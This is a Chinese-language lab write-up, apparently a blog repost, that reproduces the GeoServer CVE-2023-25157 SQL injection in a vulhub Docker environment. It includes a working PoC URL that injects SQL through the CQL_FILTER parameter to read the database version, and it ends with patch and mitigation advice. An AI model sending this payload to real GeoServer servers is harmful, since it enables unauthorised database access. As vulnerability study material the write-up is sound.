CVE-2023-25157:GeoServer OGC Filter SQL注入漏洞复现

CVE-2023-25157:GeoServer OGC Filter SQL注入漏洞复现

前言

本次测试仅供学习使用,如若非法他用,与本文作者无关,需自行负责!!!

一.GeoServer简介

GeoServer 是用 Java 编写的开源软件服务器,它提供了查看、编辑和共享地理空间数据的功能。它旨在成为一种灵活、高效的解决方案,用于分发来自各种来源(如地理信息系统 (GIS) 数据库、基于 Web 的数据和个人数据集)的地理空间数据。

二.漏洞简述

在 2.22.1 和 2.21.4 之前的版本中,在开放地理空间联盟 (OGC) 标准定义的过滤器和函数表达式中发现了一个 SQL 注入问题,未经身份验证的攻击者可以利用该漏洞进行SQL注入,执行恶意代码。

三.漏洞原理

由于系统未对用户输入进行过滤,远程未授权攻击者可以构造特定语句绕过GeoServer的词法解析,从而实现SQL注入,成功利用此漏洞可获取敏感信息,甚至可能获取数据库服务器权限。由于GeoServer在默认配置下内置图层存放数据在文件中,则未使用外置数据库的场景不受此漏洞影响。

四.影响版本

GeoServer 2.20.x < 2.20.7
GeoServer 2.19.x < 2.19.7
GeoServer 2.18.x < 2.18.7
GeoServer 2.21.x < 2.21.4
GeoServer 2.22.x < 2.22.2

五.环境搭建

在kali的docker中搭建vulhub进行漏洞复现
clone项目:

 sudo git clone https://github.com/vulhub/vulhub.git

CVE-2023-25157:GeoServer OGC Filter SQL注入漏洞复现_第1张图片在/geoserver/CVE-2023-25157目录,用下面的命令下载并启动:

sudo docker-compose up -d

CVE-2023-25157:GeoServer OGC Filter SQL注入漏洞复现_第2张图片搞定,查看环境:

sudo docker-compose ps

在这里插入图片描述看到端口,这里是8080。

在浏览器上访问http://your-ip:8080/geoserver

进入环境,说明配置成功了,接下来就可以开始愉快的漏洞复现了:
CVE-2023-25157:GeoServer OGC Filter SQL注入漏洞复现_第3张图片此时复现的系统版本为2.22.1

六.漏洞复现

1.利用前提
首先,在利用此漏洞之前,您必须找到包含 PostGIS 数据存储的现有工作空间。Vulhub的GeoServer实例已经有一个PostGIS数据存储:

   工作区名称: vulhub
   数据存储名称: pg
   要素类型(表)名称: example
   要素类型的属性之一: name

2.构造POC
通过以下简单 URL 利用服务器:
POC

http://your-ip:8080/geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=vulhub:example&CQL_FILTER=strStartsWith%28name%2C%27x%27%27%29+%3D+true+and+1%3D%28SELECT+CAST+%28%28SELECT+version()%29+AS+integer%29%29+--+%27%29+%3D+true

3.利用构造的POC发包
CVE-2023-25157:GeoServer OGC Filter SQL注入漏洞复现_第4张图片我们发现,通过SQL注入从GeoServer检索到其数据库为PostgreSQL且版本为14.9

七.修复建议

目前官方已发布新版本修复了该漏洞,可下载最新版本进行升级。
https://github.com/geoserver/geoserver/releases

缓解措施

  1. 禁用 PostGIS数据存储的encode函数。

  2. 启用 PostGIS 数据存储的preparedStatements设置。

八.参考

https://vulhub.org/#/environments/geoserver/CVE-2023-25157/
https://github.com/murataydemir/CVE-2023-25157-and-CVE-2023-25158

你可能感兴趣的:(漏洞复现,web安全,安全,系统安全,网络安全,安全架构)